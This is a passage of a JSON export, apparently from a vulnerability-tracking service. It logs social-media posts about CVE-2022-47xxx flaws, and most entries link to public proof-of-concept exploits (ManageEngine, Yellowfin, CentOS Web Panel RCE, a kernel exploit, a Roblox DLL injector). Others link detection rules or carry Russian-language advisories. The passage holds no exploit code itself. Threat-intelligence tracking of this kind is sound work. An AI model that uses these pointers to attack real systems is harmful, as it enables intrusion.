"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7582", "content": "#exploit\n1. CVE-2022-47966:\nRCE vulnerability in multiple ManageEngine (Apache Santuario (xmlsec) <=1.4.1) products\nhttps://github.com/horizon3ai/CVE-2022-47966\n]-> https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive\n\n2. CVE-2022-39955:\nCharset confusion + WAF bypasses via 0days\nhttps://terjanq.medium.com/waf-bypasses-via-0days-d4ef1f212ec\n\n3. Microsoft Teams RCE\nhttps://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html", "creation_timestamp": "2023-01-20T11:00:21.000000Z"}, {"uuid": "ef1e9afe-31d7-4a2c-b4a9-5189a7f3c17d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47884", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7633", "content": "#exploit\n1. Exploiting Hardcoded Keys to achieve RCE in Yellowfin BI  (CVE-2022-47882, CVE-2022-47883, CVE-2022-47884, CVE-2022-47885)\nhttps://blog.assetnote.io/2023/01/24/yellowfin-auth-bypass-to-rce\n\n2. DLL exploit for Roblox with custom functions, level 8 execution, multi Roblox injection, and a key system\nhttps://github.com/plusgiant5/TaaprWareV2", "creation_timestamp": "2023-01-28T13:42:57.000000Z"}, {"uuid": "a0d5f06c-41e2-41d5-b4d6-4ad1b2f7ea1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47949", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7445", "content": "#exploit\n1. Syncovery For Linux Web-GUI - Authenticated RCE\nhttps://packetstormsecurity.com/files/170245/Syncovery-For-Linux-Web-GUI-Authenticated-Remote-Command-Execution.html\n\n2. CVE-2022-47949:\nENLBufferPwn: Critical RCE flaw affects multiple Nintendo games\nhttps://github.com/PabloMK7/ENLBufferPwn", "creation_timestamp": "2022-12-29T13:19:33.000000Z"}, {"uuid": "4dfa4984-6ee4-4a71-98a4-a62d548faa8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47521", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/7399", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2022-12-22T06:30:04.000000Z"}, {"uuid": "3aaae531-fcc0-4fd2-919b-0098a0b5e852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47520", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/7399", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2022-12-22T06:30:04.000000Z"}, {"uuid": "dc55aa0b-f21d-49c9-b84c-3680abe1ecf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7503", "content": "#exploit\n1. CVE-2022-41076:\nThe OWASSRF + TabShell exploit chain\nhttps://blog.viettelcybersecurity.com/tabshell-owassrf\n]-> https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e\n\n2. CVE-2022-3515/CVE-2022-47629:\nInteger overflow bug Libksba\u00a0library (x.509)\nhttps://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md \n\n3. CVE-2022-44877:\nCentos Web Panel 7 Unauthenticated RCE\nhttps://github.com/numanturle/CVE-2022-44877", "creation_timestamp": "2023-01-10T05:13:06.000000Z"}, {"uuid": "00eca21b-4354-4e9c-9093-08016b57460d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47518", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/7399", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2022-12-22T06:30:04.000000Z"}, {"uuid": "5fbe7a00-edbb-420e-907a-5edd93de9b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47519", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/7399", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2022-12-22T06:30:04.000000Z"}, {"uuid": "16718040-8e93-4af8-a1b6-aa5229d2e26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7644", "content": "#hardening\n1. Kernel sanitizers on Microsoft platforms\nhttps://www.microsoft.com/en-us/security/blog/2023/01/26/introducing-kernel-sanitizers-on-microsoft-platforms\n2. CVE-2022-47966 Scanner\nhttps://github.com/vonahisec/CVE-2022-47966-Scan", "creation_timestamp": "2023-01-29T20:41:27.000000Z"}, {"uuid": "39dc250d-a7d8-4326-8211-190a3be063dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7585", "content": "#Blue_Team_Techniques\n1. YARA/Sigma rule to detect the exploitation of ManageEngine ServiceDesk CVE-2022-47966\nhttps://github.com/Neo23x0/signature-base/blob/master/yara/expl_manageengine_jan23.yar\nhttps://github.com/SigmaHQ/sigma/pull/3935/files\n2. Investigate malicious Windows logon by visualizing and analyzing Windows event log\nhttps://github.com/JPCERTCC/LogonTracer", "creation_timestamp": "2023-01-20T11:00:21.000000Z"}, {"uuid": "cd00126f-7eb6-42af-9e66-1487d77edf81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47882", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7633", "content": "#exploit\n1. Exploiting Hardcoded Keys to achieve RCE in Yellowfin BI  (CVE-2022-47882, CVE-2022-47883, CVE-2022-47884, CVE-2022-47885)\nhttps://blog.assetnote.io/2023/01/24/yellowfin-auth-bypass-to-rce\n\n2. DLL exploit for Roblox with custom functions, level 8 execution, multi Roblox injection, and a key system\nhttps://github.com/plusgiant5/TaaprWareV2", "creation_timestamp": "2023-01-28T13:42:57.000000Z"}, {"uuid": "ff3b0e1a-66f1-4415-974d-d768a4527b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47885", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7633", "content": "#exploit\n1. Exploiting Hardcoded Keys to achieve RCE in Yellowfin BI  (CVE-2022-47882, CVE-2022-47883, CVE-2022-47884, CVE-2022-47885)\nhttps://blog.assetnote.io/2023/01/24/yellowfin-auth-bypass-to-rce\n\n2. DLL exploit for Roblox with custom functions, level 8 execution, multi Roblox injection, and a key system\nhttps://github.com/plusgiant5/TaaprWareV2", "creation_timestamp": "2023-01-28T13:42:57.000000Z"}, {"uuid": "d531de90-1146-4012-b15a-39f2cd9147e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47883", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7633", "content": "#exploit\n1. Exploiting Hardcoded Keys to achieve RCE in Yellowfin BI  (CVE-2022-47882, CVE-2022-47883, CVE-2022-47884, CVE-2022-47885)\nhttps://blog.assetnote.io/2023/01/24/yellowfin-auth-bypass-to-rce\n\n2. DLL exploit for Roblox with custom functions, level 8 execution, multi Roblox injection, and a key system\nhttps://github.com/plusgiant5/TaaprWareV2", "creation_timestamp": "2023-01-28T13:42:57.000000Z"}, {"uuid": "bc17287a-f46f-45b2-b287-c59ebd421815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47002", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7915", "content": "#exploit\n1. CVE-2023-20937:\nAndroid GKI Kernels Contain Broken Non-Upstream Speculative Page Faults MM Code\nhttps://packetstormsecurity.com/files/171239/Android-GKI-Kernels-Contain-Broken-Non-Upstream-Speculative-Page-Faults-MM-Code.html\n2. CVE-2022-47003, CVE-2022-47002:\nAuthentication Bypass in Mura/Masa CMS\nhttps://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html", "creation_timestamp": "2024-09-27T18:36:12.000000Z"}, {"uuid": "dc2f2b2b-0df7-4f6f-91bf-dd57fb6fa0b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47003", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7915", "content": "#exploit\n1. CVE-2023-20937:\nAndroid GKI Kernels Contain Broken Non-Upstream Speculative Page Faults MM Code\nhttps://packetstormsecurity.com/files/171239/Android-GKI-Kernels-Contain-Broken-Non-Upstream-Speculative-Page-Faults-MM-Code.html\n2. CVE-2022-47003, CVE-2022-47002:\nAuthentication Bypass in Mura/Masa CMS\nhttps://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html", "creation_timestamp": "2024-09-27T18:36:12.000000Z"}, {"uuid": "d6a6b79c-a5ae-425c-918b-42cb78a415d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "published-proof-of-concept", "source": "Telegram/t9xXJBrskpO75YUHGqjK-EAGcOYNOMyK8tBTSUEy_2yBm0I", "content": "", "creation_timestamp": "2023-03-29T10:16:30.000000Z"}, {"uuid": "365f32af-1edd-419e-85f1-b294d2b6788e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mrw6an4o7n24", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2022-47966: Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to us\u2026\nCVSS 9.8 \u00b7 EPSS 99.8% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2022-47966\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-07-31T04:59:21.692526Z"}, {"uuid": "d9679e92-6db0-4721-b918-025898d50c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47909", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/9246", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-47909_unauth_arbitrary_file_deletion*\nGithub: https://github.com/JacobEbben/CVE-2022-47909_unauth_arbitrary_file_deletion", "creation_timestamp": "2026-07-31T11:00:03.334638Z"}, {"uuid": "43ad4cb6-f9df-4941-9c39-f1d142a64fd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47502", "type": "seen", "source": "https://t.me/sysodmins/17610", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache OpenOffice\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u043e\u0444\u0438\u0441\u043d\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u0435 Apache OpenOffice. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Apache OpenOffice 4.1.14 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0448\u0438\u0431\u043e\u043a (\u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0441\u043f\u0443\u0441\u0442\u044f \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 OpenOffice 4.1.14):\n\nCVE-2022-47502 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0441\u044b\u043b\u043a\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u043c\u0430\u043a\u0440\u043e\u0441 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u0438\u043b\u0438 \u043f\u0440\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\nCVE-2022-38745 - OpenOffice \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0443\u0441\u0442\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u043f\u043e\u0438\u0441\u043a\u0430 Java-\u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Java-\u043a\u043e\u0434\u0430, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u043e\u0433\u043e \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0443\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\ude93 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2023-03-27T04:07:26.000000Z"}, {"uuid": "1f83e231-c09f-49b8-b8aa-86fa0867d578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/purp_sec/271", "content": "\ud83d\udee1\u0425\u0430\u043a\u0435\u0440\u044b \u0432\u0441\u0435 \u0435\u0449\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u0430\u0432\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ThinkPHP \u0438 OwnCloud\n\nGreyNoise \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0439 \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u0441\u0442\u0430\u0440\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c:\n\n\ud83d\udd35CVE-2022-47945 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 ThinkPHP \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.14, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 lang, \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f lang_switch_on=true.\n\n\ud83d\udd35CVE-2023-49103 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 ownCloud/graphapi 0.2.x \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.2.1 \u0438 0.3.x \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.3.1. graphapi \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044e\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 GetPhpInfo.php, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 URL-\u0430\u0434\u0440\u0435\u0441. \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 URL-\u0430\u0434\u0440\u0435\u0441\u0443 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b PHP (phpinfo), \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0435 \u0432\u0441\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u0440\u043e\u0441\u0442\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f graphapi \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 RCE-\u0430\u0442\u0430\u043a\u0438. \u041a\u0440\u043e\u043c\u0435 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043f\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430.\n\n#blue_team #CVE", "creation_timestamp": "2026-08-04T13:00:11.364345Z"}, {"uuid": "30188549-d2f9-42aa-9a3f-28b8a170d8e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/cisoclub/2159", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (19-25 \u0434\u0435\u043a\u0430\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \u0441\u043e\u0444\u0442\u0432\u0435\u0440\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0445 Citrix ADC \u0438 Gateway \ud83d\udd0e\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0442\u044c \u0432 IT-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n2\ufe0f\u20e3 \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043b\u0430\u0433\u0438\u043d YITH WooCommerce Gift Cards Premium, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 50 000 \u0441\u0430\u0439\u0442\u0430\u0445 \ud83d\udcf0WordPress. \n\n3\ufe0f\u20e3 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043c\u043e\u0441\u0442\u0430\u0445 Hikvision \u043f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0446\u0435\u043b\u0435\u0432\u044b\u043c 